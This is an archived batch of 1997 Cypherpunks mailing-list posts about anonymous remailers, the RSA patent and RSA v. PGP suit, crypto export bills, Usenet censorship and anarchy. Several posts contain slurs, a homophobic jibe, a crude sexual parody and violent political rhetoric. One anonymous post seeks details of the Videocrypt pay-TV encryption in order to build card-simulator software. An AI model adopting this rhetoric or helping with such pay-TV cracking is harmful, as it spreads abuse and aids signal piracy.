From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:47:46 +0800
To: cypherpunks@toad.com
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <Pine.3.89.9705131901.A961-0100000@netcom19>
Message-ID: <DVXo7D39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
>
> I walked _through_ the housing projects in San Francisco at ~3:30 am on a
> Sunday morning. ...

Homosexuals who go "cruising" (picking up strangers in order to have sex
with them) often get hurt or killed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 20:05:35 +0800
To: cypherpunks@toad.com
Subject: RSA v. PGP Complaint
Message-ID: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Vin McLelland we offer the text of the
complaint of RSA v. PGP:

   http://jya.com/rsavpgp.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Wed, 14 May 1997 22:04:43 +0800
To: "'cypherpunks@toad.com>
Subject: Anonymous Remailers
Message-ID: <01BC603F.4B529240@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain


Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

1) Log all of their mail messages?
2) Are in many cases reputed to be run by foreign intelligence services?

Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Wed, 14 May 1997 22:42:31 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <199705141324.JAA04425@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
> >You might remember I wrote recently about the DoJ report released this
> >month that calls for new legislation to ban bomb-making info online. Now
> >Feinstein's office tells me she's going to introduce a bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is an
> ultra fascist that rose to power thanks to the yellow dog Bay Area voters.

Give credit where it's due.  She really owes a debt to the assassin Dan 
White, without whom she'd probably still be a lowly Supervisor.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Wed, 14 May 1997 22:43:08 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <199705141328.JAA04510@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



>   Didn't her boss's murderer walk on the charge by using the defence
> that he ate too many Twinkies?
>   No political intrigue here...

That was the defense, yes.  Dan White was a former cop and treated like a 
hero by fellow cops.  The prosecution never really challenged the Twinkie 
defense, nor did they bring up politics or homophobia as motives.  With a 
prosecution like that, who needs a defense?

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:34:45 +0800
To: cypherpunks@toad.com
Subject: Re: Spectre disapproves of remailers and anonmyity
Message-ID: <15020777617590@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


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Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:06:28 1997

> Nonsense. People use remailers for all sorts of reasons.
I'm waiting... number one reason seems to be spam.. no matter, though.. 
I've added the filter, and won't take it out unless a very good reason 
comes along.

> (Speaking for myself, and trying to be careful to not implicate myself 
> (in
> further felonies, I've used the available remailers to post 
> liberated information of various sorts. Go back and check the archives. 
> You'll find that "Dumpster divings" of information from corporate 
> conspirators (a la Cylink, Mykotronx) was posted through anonymous 
> remailers. Who would argue that the cause of liberty would be better 
> served by posting these items under one's own name, where the Corporate 
> State could then file lawsuits, order midnight raids, etc.?)
Much easier to put something like that on multiple ftp sites and then alert 
the public to what you've 'found' there.

> 
> As for the time to delete the Vulis spam, you must be innumerate.
You insult my position without disproving it.  I am not impressed.  In any 
case, I spend far less time now deleting those messages, seeing as how I 
don't spend any.



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:40:47 +0800
To: cypherpunks@toad.com
Subject: Re: Would the anonymous person(s) please...
Message-ID: <15075074017690@nrt.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:12:10 1997

> Would all those anonymous remailing people with a flame tendency, 
> please flame the person of your attacks, and don't send this bullshit 
> to the list?  Thanks...
> 
What would be the point.. the only person you can be *sure* doesn't care 
about these messages is the mark.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzM2vJwAAAEH/1uuDgh1udD+DbU9ies8Lst3j7bmlM+m+aN0gVwerfx+uA14
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=tS4W
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 14 May 1997 23:38:14 +0800
To: "cypherpunks" <daw@cs.berkeley.edu>
Subject: Re: Public Key Break Paper
Message-ID: <199705141507.LAA11920@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713698.multipart/signed"

--Boundary..3954.1071713698.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>I just took a brief look at it, (thanks for forwarding, Lucky),
>and it's pure crap-ola.

As a meta-point any securirty person knows that employees and
ex-employees are the most serious security risks. Its not exactly
unknown for someone to go nuts and then come out with loony 
paranoid theories.

This may not be the case in this instance but its a good idea not
to start seeing black helicopters arround every corner...

Phill








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--Boundary..3954.1071713698.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:49:20 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymity and cowardice
Message-ID: <15302945318065@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:34:45 1997

> The time per year it takes for me to delete all these messages is about 
> the same as the amount of time it took me to reply to your previous 
> message plus the amount of time it will now take me to compose this 
> reply.  All back of the envelope, of course.
All by choice, which is what we're talking about here..

> I've been on this list for 18 months and have seen plenty of worthwhile
> posts from remailers.  You're entitled to your opinion, but I strongly
> disagree.
I guess I'll just never know..

> So you're calling John Jay, James Madison, and Alexander Hamilton 
> cowards
> (anonymous authors of the Federalist Papers)?  Many others have 
> (also used
> anonymity to further the cause of liberty.  I doubt your real 
> name is "The Spectre" yet that is the name under which you are posting. 
>  Are you calling yourself a coward?
The difference in all these cases (save mine) is that the people you listed 
would have been persecuted, if not prosecuted, for their actions.  Now 
people are hiding out of fear and paranoia of something that in most cases 
doesn't exist.  The people you mentioned never had to deal with this level 
of abuse, either.

In my case, it's simply the name i've old my email package to append to my 
messages.  Anyone who really wants to can look me up at any time.
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 14 May 1997 21:36:48 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <199705141210.NAA01034@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@ssz.com> writes:
> [...]
> I don't want it known who is subscribed to lists through SSZ, in short:
> It isn't any of your damn business and quit asking.

Oh.  I guess that explains the blank message I got back from
majordomo@ssz.com!  I counted that as no one subscribed (or inactive).
So I guess the count of cypherpunks subscribers is an underestimate
having discounted anyone subscribed through ssz.com.

Would you be interested to reveal the number of subscribers for
counting purposes?  (Not a big deal if you're not).

> > The only true reliability can be achieved by subscribing to two or more
> > cypherpunks sites, and eliminating duplicates. Reliability has its costs.
> 
> As do freedom, privacy, anonymity, etc.

If you have a shell account, you could run an email concentrator
(remove duplicates) with procmail, and then down load only the non
duplicates.  With this setup you could subscribe to all 3 lists and
not notice any outages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 15 May 1997 04:48:53 +0800
To: cypherpunks@cyberpass.net
Subject: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970513230408.006c67b4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


There have been so many posts on which I could make remarks, and I haven't
enough time to prepare a really good treatment on the subject.   

The title of the subject line is from something LD once said to me as a
joke to rile me, something like, "I'm all for  Democracy - I treat all my
enemies equally." (he probably stole that line from someone).

Anyway, I was thinking about those who have expressed a lack of concern for
the unfortunate mixture of the guilty & innocent in a close encounter with
a destructive device.   I was thinking that people who  aren't careful
about such differences make of themselves an enemy to all, because who can
tell what they're supporting and whose lives they really value, since
anyone at all could become their victim.

In times of declared (or undeclared) wars, when it is governments which
conduct the battles, one of the things which make wars hell is that anyone
& everyone is potentially in harms way; everyone has to run for their
lives, you never from who/where you might get hit, whether from enemy or
from friendly fire.  There is so much confusion, propaganda, and lies about
who is in the right, who is in the wrong, whose fault it was/is and who are
the real heroes, that all of those in the middle seem like ping-pong balls
bouncing from side to side.  Nevertheless, whichever side they think they
are on or even if they don't give a flip, everyone has to to run, hide,
take cover.   Only when all supplies and manpower have been exhausted, does
the war end; in the meantime both sides have made many smoldering enemies,
which later some opportunists use as reason to attempt to sway the
remaining survivors into further alliances against the latest "enemy of the
people".    In truth, it becomes a difficult task to determine who is the
un-fairest of them all.   The fact of the matter is that those in the
middle must find a way to protect themselves from whatever weapon or
vehicle of destruction comes around, whatever its source.

Likewise, anyone who creates an atmosphere of uncertainty, where it makes
no difference whether one is a friend or a foe of any particular values or
ideals - one could end up dead regardless, just from being in the wrong
place at the wrong time - is making of themselves an enemy to all.  

Like that stolen phrase, I myself would have to "treat all my enemies
equally"; that is, anyone who would put me or anyone I valued, in danger.  

So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
building in OK City, and I saw some cypherpunk not too far away getting
ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
saying:  "feel lucky today, cpunk?"). 


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:18:57 +0800
To: "Roger J. Jones" <cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <v03007800af9f99442aae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all
of the links in the chain collude to trace messages. While this is
certainly possible, it seems unlikely.


>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.
They provided no evidence, only innuendo, and they were unwilling or unable
to provide any further comments when queried by several Cypherpunks.

And given that many or even most of the remailer operators are members of
the various related Cypherpunks or Remailers Operators lists, and are known
to various of us, the notion that most (or even many) remailers are run by
intelligence agencies is absurd.


>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see
new subscribers. But I surmise you just haven't spent enough time yet
reading and thinking about these issues.

Welcome to the Cypherpunks list.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:10:47 +0800
To: cypherpunks@algebra.com
Subject: Helicopters Revisited
In-Reply-To: <199705141507.LAA11920@life.ai.mit.edu>
Message-ID: <v03007801af9f9ec575aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:13 AM -0800 5/14/97, Phillip M. Hallam-Baker wrote:

>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters arround every corner...
>

Don't worry, I don't see black helicopters buzzing around my hilltop.

This is because they have disguised themselves in various ways. I can still
_hear_ them, but now their invisible stealth mode is apparently being used
to prevent me from adequately detecting them.

This all started when Bill Clinton flew over my house in the summer of
1995. A woman visiting my house waved an AR-15 in his general direction,
much to my consternation (though I favor his removal, I feared flaming
wreckage raining down on my area, plus various SS agents carrying me off to
KZs).

After this, the stealth mode was turned on...now the black helicopters are
invisible to me.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 00:28:05 +0800
To: Lucky Green <declan@pathfinder.com>
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <v03007802af9fa094e283@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>You might remember I wrote recently about the DoJ report released this
>>month that calls for new legislation to ban bomb-making info online. Now
>>Feinstein's office tells me she's going to introduce a bill.
>
>Feinswine never saw a gun/mind control bill she didn't like. She is an
>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>

Feinswine/Swinestein is the most despicable of all the politicians in
Congress. (This is not just ideology speaking...her usual-ally Barbara
Boxer is much less swinish, and even has some independent thoughts. I can't
see I often agree with Boxer, but she's not the Big Sister automaton that
Swinestein is.)

We're basically under assault from all directions. The bozos in Congress
and state governments are spinning out new laws and obscure regulations
faster than we can react...and of course they're using our money to
generate these laws and lobby for them. Further, a mostly-brainwashed
Washington media population is surprising uncritical of these blizzard
drifts of new laws.

As others have noted, recently James Donald, the lawmakers play the "good
cop, bad cop" game very well. Crypto becomes exportable (good cop), but
only if keys are given to the government (bad cop). Speech is ostensibly
protected by new laws, but new provisions criminalize racist, homophobic,
disrespectful, hurtful, offensive, or unpopular opinions.

The "there ought to be a law" crowd is in high gear.

The only proper rebuttal is to reject their view that more laws will fix
the societal ills they perceive.

Attempting to "work with them" only feeds the good cop/bad cop system, as
the SAFE and Pro-CODE bills show.

Removing the Washington area as a malignant tumor requiring drastic surgery
remains an option.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 15 May 1997 01:51:00 +0800
To: Ray Arachelian <spectre@nac.net>
Subject: Re: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: <v03007811af9f9c6474b1@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:

>Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
>doctorate from the KGB, I'm tired of these spams.  Yes, they include the
>ones that IMHO come from Vulis, the ones to which Graham replies, the
>anonymous ones that reply to Graham, the permutations of them that
>spam Toto, and these.  :(

IMHO these spams are the reason people have been leaving the list, not the
political discussions (Perry excepted).


>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.

Note that the bomb making information has revealed nothing more than what a
good encyclopedia should have.  To go from explosives information to bomb
making recipes requires a good deal more information, e.g. about safety.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 15 May 1997 01:36:34 +0800
To: Paul Bradley <cypherpunks@algebra.com
Subject: Re: Eternity server considerations and musings
In-Reply-To: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
Message-ID: <v03007814af9f9ee90c52@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 AM -0700 5/13/97, Paul Bradley wrote:
>The proxies idea however can be extended to censor usenet, usenet
>traffic, although pretty huge, is not yet too large to be grep`d for
>keywords (currently around 600mb of traffic a day passes through the
>newsgroups) before being proxied, so a government can run a server which
>first checks to ensure the usenet article is not encrypted (this can be
>done crudely by checking for occurances of common words or by checking
>the redundancy of the text by attempting to compress it) and if it is
>encrypted junks it, if it is plaintext, greps it for keywords like
>"assasination", "anarchy", "porn" etc... then kills the articles that
>have these words in them, the other articles the government does not want
>to censor are put on a main server like news.fourth-reich.de and access
>blocked to all the other news servers.

Obviously you need to stego your message in a post that passes the
automatic censor.  The important question is what is the minimum data
expansion you can get away with?  I see an "arms race" in the making.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Thu, 15 May 1997 02:38:54 +0800
To: "cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC6054.177E3E00@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't pretend to be patent law knowledgeable, but I'll try to address this. While pure mathematics is unpatentable, the inventions based on it are not. Remembering you can't get patents on ideas, only inventions, I decided to go and check out the RSA patent and see why it has held up and been allowed renewal (no kidding. Think of all the trouble that could have been saved if renewal had been denied!)

This first thing I noticed is that not only is RSA patented, but so is Stego, under patent 5613004. The RSA patent is abstracted and here it is: 

ABSTRACT:   A cryptographic communications system and method. The system includes a
communications channel coupled to at least one terminal having an encoding device and to at
least one terminal having a decoding device. A message-to-be-transferred is enciphered to
ciphertext at the encoding terminal by first encoding the message as a number M in a
predetermined set, and then raising that number to a first predetermined power (associated with
the intended receiver) and finally computing the remainder, or residue, C, when the
exponentiated number is divided by the product of two predetermined prime numbers
(associated with the intended receiver). The residue C is the ciphertext. The ciphertext is
deciphered to the original message at the decoding terminal in a similar manner by raising the
ciphertext to a second predetermined power (associated with the intended receiver), and then
computing the residue, M', when the exponentiated ciphertext is divided by the product of the
two predetermined prime numbers associated with the intended receiver. The residue M'
corresponds to the original encoded message M. 


For the actual details of the patent go to IBM's patent server: http://patent.womplex.ibm.com/details?patent_number=4405829


Notice how careful they were to title it a "System" and a "Method". It is that they are patenting. I think if someone had good enough lawyers, they could probably challenge this patent using prior art claims, but what the hell do I know. I'm thinking however that the Secure Telephone Units had a dual key system, and were introduced by AT&T long before the RSA patent was granted, but I'm not sure. 

So indeed they are patenting the method of using the mathmatics. Which is thier invention, which is why (IMO) they were granted the patent.  

I wish that they hadn't been able to get it renewed. It would have been nice to see how RSA would do competing thier software libraries against alternative competitors. Ah well, guess we'll have to wait another 17 years. Too bad. 

  Chris DiBona

-----Original Message-----


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell@pacifier.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 15 May 1997 00:27:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <Pine.GSO.3.95.970513220459.18020F-100000@well.com>
Message-ID: <199705141559.KAA20547@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.GSO.3.95.970513220459.18020F-100000@well.com>, on 05/13/97 at
11:07 PM,
   Declan McCullagh <declan@well.com> said:


>I appreciate William's comments, but he fails to understand the reality of
>the situation. Let's forget about the "furtherance" provision for a
>moment.

>Congress is not passing a new law in lifting export controls. Rather, it
>is reducing the sweep of one it already passed that the White House has
>abused.

Well that is another issues that I had not addressed in my post: The
Userping of powers relegated to the Legislative Branch by the Excutive
Branch via Executive Order.

If Congress was intrested in doing the "right thing" then law they should
be passing should be quite small stating that the Executive Order is
Unconstitutional and by an Act of Congress is Repealed.

This is not what they are doing. What they are saying with SAFE is that you
have no Constitutional Rights on this issue but because we are nice guys we
are going to pass a law making it legal, oh by the way we are going to tack
a few riders on here for our own purposes.

The whole approach to this issue is wrong. There is *no* valid law
restricting the export of crypto. Any attempts to enforce such an invald
law should be delt with in the courts. I find that it sets a scary
presedent that I *need* congress permission before I can exercise my
Constutionally Protected Rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3nwVY9Co1n+aLhhAQGxrgP8DSQtMaG1QH0xDYUHuvSc9KOebxXHTojM
6f21c3cKnc9kNjgO4Tqju3SQTy5mWOtyWRtzdJ+1SsUxhiNOqOnY7eXRIteViP2K
wujrKge2UqJeNOhINpwiHYbqqbA/XLXPzuyaNyegzmHSmxJCwSxhNstP25l4BSI2
3GmLswHI2M8=
=fIjb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 15 May 1997 00:29:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: unsafe SAFE:
In-Reply-To: <v0300780aaf9f103e46dd@[207.167.93.63]>
Message-ID: <199705141606.LAA20666@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v0300780aaf9f103e46dd@[207.167.93.63]>, on 05/14/97 at 12:53 AM,
   Tim May <tcmay@got.net> said:


>No politician I know of will ever be a friend of crypto anarchy.

The only thing that polititions are ever a friend of is whatever cause is
flaver-of-the-month supported by the mob & media. They all have the
intestinal fortitude of a slug.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3nyEI9Co1n+aLhhAQGF3QQAmHIpFFW3lGPzWb+gAd7TNWAmTX0eXNGs
JtnB798cZWWs8KFkPXWphEvJy6vP58u8/2bMAI6WB977CjQmStJxRLwflNvNtLq3
GdYgn8CT7cmALJ+7pg7QinV26iwkAkT6kInNPcKNWsqyRv4XGOvvCadXlkegMGui
RNAr4hlv6mU=
=hEmI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 02:44:31 +0800
To: cypherpunks@algebra.com
Subject: Videocrypt/Videocrypt2 any cryptanalytic results?
Message-ID: <199705141828.LAA08796@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Has any progress been made in cryptanalysing the algorithms used in the 
european Videocrypt and Videocrypt2 standards used to encrypt satellite 
broadcasts?

Particularly, is there any information I can obtain about the protocols, 
the data communicated between the decoder and card, and the algorithm itself.

I am looking at the possibility of a new version of the "season" card 
simulator software created some time ago, which is now obselete, which 
used to be used against videocrypt broadcasts...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 02:57:51 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: <19970514112959.12839@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 04:03:57PM +0000, Paul Bradley wrote:

>>> Calling this an "anarchy" is comparable to calling the pogrom by the Third
>>> Reich against Jews, gypsies, cripples, and others an example of anarchy.
>> 
>> Nonsense.
> 
> No, there is a distinct and marked difference between the absence of 
> government and the presence of lots of different governments, the reason 
> for war in Rwanda is because there are a number of rival factions all 
> competing to gain power, a true anarchy has no government whatsoever.
> Rwanda is an example of undecided government, not no government.

Roving bands of thugs are not the same as an "undecided government".

>> "anarchy n. the absence of government or control, resulting in 
>> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
>> 
>> Which part of that would you say didn't apply to Rwanda?  
> 
> The entire first definition, there is no absense of government in Rwanda, 
> merely a number of different prospective government.

Your sentence is an oxymoron, a self contradiction.  A "number of
different prospective governments" are *not* the same as "a
government".  Claiming to be a government is not the same as being a
government. 

> Also, the definition of anarchy is flawed in that it suggests that the 
> word refers to the lack of government leading to lawlessness, my 
> definition, and I would imagine the definition of most members of this 
> list, is that anarchy is the absense of government period. Just because 
> the law we refer to doesn`t suit you does not mean it is not a valid system.

You are free to use the word anarchy to refer to asparagus if you 
wish.  However, the meaning I used is *the* common English meaning.  

> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons.  Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs. 
> 
> Cite?

Cite what? The obvious correlation that you agree to below? Or do you
think I need to do find a study that shows that intelligent people
don't consider an anarchical situation such as the Rwandan collapse a
desirable situation?

> The correlation between your definition of anarchy and war is obvious, if 
> you define anarchy as "A lack of government leading to lawlessness" you 
> are obviously going to see a correlation between this and lawlessness!

That's not *my* definition, it's *the* definition, as described in a
standard, reputable dictionary.  I realize that you have your own
private definition of the term, that you share with your friends and
an esoteric community.  However, I am not a member of that community, 
so I use the standard meaning.

> I could counter argue that the correlation between government and war is 
> irrefutably stronger but then I would be playing your little game, and I 
> don`t want to get drawn into that.

Of course there is a correlation between government and war.  There is
a correlation between people and war, between use of guns and war (so
clearly we could eliminate war by eliminating guns), economics and
war, etc etc.  Correlation is not causation. 

> Your comment that most intelligent people consider that anarchy is not a 
> desirable state of affairs does not even deserve comment, democratic 
